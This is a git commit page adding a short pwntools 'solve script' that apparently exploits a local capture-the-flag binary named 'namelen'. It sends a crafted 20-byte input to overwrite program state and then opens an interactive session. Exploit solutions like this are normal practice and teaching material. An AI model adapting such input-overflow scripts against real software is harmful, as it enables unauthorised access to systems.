solve script

This commit is contained in:
jc
2025-03-20 21:43:03 +03:00
parent ac8a3bc7a9
commit e076f1ee01
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./namelen", checksec=False)
r = process()
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*7
buf += b"i"
buf += b"A"*(20-len(buf))
s(buf)
r.interactive()